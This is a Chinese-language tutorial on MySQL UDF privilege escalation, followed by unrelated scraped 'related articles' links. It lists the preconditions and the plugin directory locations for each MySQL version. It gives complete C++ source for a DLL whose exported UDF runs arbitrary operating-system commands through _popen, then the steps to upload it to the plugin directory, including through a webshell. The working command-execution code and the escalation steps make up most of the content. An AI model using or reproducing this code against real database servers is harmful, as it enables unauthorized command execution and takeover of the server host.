目录

0x01.提权条件

0x02.版本差异

0x03.DLL文件编写

0x04.提权步骤


UDF (user defined function),用户自定义函数。

是通过dll添加新函数,对MySQL的功能进行扩充,就像使用MySQL如 user() 这种函数。

mysql通常是使用管理员权限进行配置,因此我们获取一个较低权限时可以通过mysql进行权限提升

我们经常使用到udf.php.它自带的有一个写好的dll,我们本文介绍自己写一个udf并且使用其提权


0x01.提权条件

1.secure-file-priv参数设置为空(为null时禁止mysql导入导出,无法读写文件)

2.对目录有写出权限


0x02.版本差异

MySQL>5.1

udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)

MySQL<5.1

winServ2003及其他 -> c:\windows\system32

winServ2000 ->C:\Winnt\


0x03.DLL文件编写

1).新建具有导出项的dll动态链接库

2).默认的代码干掉,修改两个文件:头文件Dll3.h和源文件Dll3.cpp

Dll3.h

//Dll3.h头文件,用于声明导出函数
#ifdef DLL3_EXPORTS
#define DLL3_API __declspec(dllexport)
#else
#define DLL3_API __declspec(dllimport)
#endif//udf官方文档地址:https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html//按mysql官方文档写的两个结构体UDF_INIT,UDF_ARGS
typedef struct UDF_INIT1 {int maybe_null;                /* 用到了 --返回值可为空 */unsigned int decimals;       /* 没用到 --设置小数点后长度*/unsigned long max_length;    /* 没用到 --结果返回最大长度*/char *ptr;                   /* 用到了 --字符指针,一般init内分配的内存地址给ptr*/bool const_item;            /* 没用到 --是否返回固定结果*/
}UDF_INIT;
typedef struct UDF_ARGS1
{unsigned int arg_count; /* 没用到 --获取接受的参数个数 */char **args;          /* 用到了 --参数指针 */unsigned long *lengths; /* 没用到 --参数长度 */char *maybe_null;       /* 没用到 --1表示空,是否表示空*/char **attributes;                    /* 没用到  --参数属性的指针*/unsigned long *attribute_lengths;     /* 没用到  --指向内容的长度*/
} UDF_ARGS;//DLL函数导出写法:导出DLL中的函数供其他程序调用
extern "C" DLL3_API long long linshaoAdd(UDF_INIT *initid, UDF_ARGS *args,char *is_null, char *error);
extern "C" DLL3_API bool linshaoAdd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
extern "C" DLL3_API char* linshaoExec(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error);
extern "C" DLL3_API bool linshaoExec_init(UDF_INIT *initid, UDF_ARGS *args, char *message);

Dll3.cpp

// Dll3.cpp : 定义 DLL 的导出函数实现。#include "pch.h"
#include "framework.h"
#include "Dll3.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>/*  此处有两个主函数:linshaoAdd()    :用于测试相加数值函数linshaoExec() :用于执行命令函数两个初始化函数:linshaoAdd_init()    :按文档编写,必须linshaoExec_init()   :按文档编写,必须
*   按mysql官方文档写法:对于函数xxx()需要有一个初始化函数xxx_init()来进行内存分配等等操作
*/
DLL3_API bool linshaoAdd_init(UDF_INIT *initid, UDF_ARGS *args, char *message){initid->maybe_null = NULL;   //设置不允许返回空return 0;                 //返回0表示初始化正常
}
DLL3_API long long linshaoAdd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){return *((long long*)(args->args)[1])+ *((long long*)(args->args)[2]);   //返回两个参数相加的值
}DLL3_API bool linshaoExec_init(UDF_INIT *initid, UDF_ARGS *args, char *message){initid->maybe_null = NULL;             //设置不允许返回空initid->ptr = (char*)(args->args)[1];  //通过initid传递参数指针return 0;}DLL3_API char* linshaoExec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error){#pragma warning(suppress : 4996)    //屏蔽编译告警char result1[4096] = "";char buf[1024];FILE *f;  //执行命令返回的io流if ((f = _popen(initid->ptr, "r")) != NULL) {while (fgets(buf, 1024, f) != NULL) {if (strlen(result1) > 4096) { break; }#pragma warning(suppress : 4996)strcat(result1, buf);    //拼接字符串}_pclose(f);             //关闭文件指针return result1;             //返回命令执行结果}
}

3).编译导出上传到服务器上(主要目录不要有中文,会无法使用)

0x04.提权步骤

1)select @@plugin_dir查询mysql插件目录地址

2)导出到插件目录

实战中可以尝试使用webshell新建该目录然后直接将dll上传到该目录假装建好目录(手动)												

udf提权原理研究-udf开发-linshao相关推荐

  1. mysql udf提权原理_udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  2. MySQL提权——udf提权

    零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全学员--逍遥子 一.前期准备 1.Mysql udf简介 MySQL udf(user definedfunction,用户定义函数),为用户提供了 ...

  3. mysql udf提权_MySQL日志安全分析技巧

    常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...

  4. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  5. Windows与Linux的MYSQL UDF提权分析

    原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...

  6. 数据库udf提权,WAF绕过

    数据库udf提权,WAF绕过 1.数据库自带函数的功能与用法 数据库功能函数 udf提权 系统函数 函数名 说明 version() 系统版本 user() ||CURRENT_USER() 数据库用 ...

  7. mysql mof_mysql的MOF和UDF提权

    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了.关于mysql提权的方法也就那 ...

  8. Mysql之UDF提权

    前言 mysql提权的几种方式 udf提权(常用) mof提权 开机启动脚本(启动项提权) 提权目的:mysql权限 -> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysq ...

  9. Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权

    目录 权限分类 针对环境 webshell权限 本地用户权限 提权方法 1.windows内核溢出漏洞(如何判断类型和利用) 2.数据库提权 Mysql Mssql oracle redis post ...

最新文章

  1. Swin Transformer升级版来了!30亿参数,刷榜多项视觉任务,微软亚研原班人马打造...
  2. 美团Serverless产品落地与演进
  3. 我看过的密码学方面的好文章
  4. [转]java 为什么wait(),notify(),notifyAll()必须在同步方法/代码块中调用?
  5. iis 站点中文乱码 解决方案
  6. SmartPointer
  7. 访问者模式 php,php设计模式 Visitor 访问者模式
  8. Git 搭建私有仓库
  9. 三年开发项目经验总结
  10. django 打开的html css_Django分页完整示例
  11. 在VirtualBox里复制VDI文件[转]
  12. aio 系统原理 Java_Java新一代网络编程模型AIO原理及Linux系统AIO介绍
  13. IOT(21)---:云、大数据、IOT深度融合 云计算进入3.0时代
  14. 未来互联网还有哪些值得关注的趋势?
  15. Java集合框架源码解读(3)—LinkedHashMap的实现原理及用法
  16. U890第二次开发的BOM表工具--自主知识产权
  17. excel使用教程_正版办公软件教程书Word Excel PPT办公应用从入门到精通教学加视频!...
  18. 星外系统更换短信接口
  19. VIVO应用市场APP上架总结
  20. Efficient Deep Embedded Subspace Clustering

热门文章

  1. 中国婴儿果汁市场趋势报告、技术动态创新及市场预测
  2. Spring Boot 结合 ECharts 实现霸气、美观、高大上 图表分析
  3. 家用 NAS 服务器(3)| SSD缓存加速机械硬盘
  4. 凯撒密码(Caesar)加密解密算法C/C++实现
  5. 如何计算电池充满电的预计时间
  6. 使用计算机注意什么时候,【干货】使用笔记本电脑一定注意这几点,不然会严重影响电脑寿命...
  7. 2021JiangXi Provincinal Collegiate Programming Contest
  8. 什么是Ubuntu的使命?
  9. Facebook为人才收购荷兰软件美工计划公司
  10. Android Activity启动流程○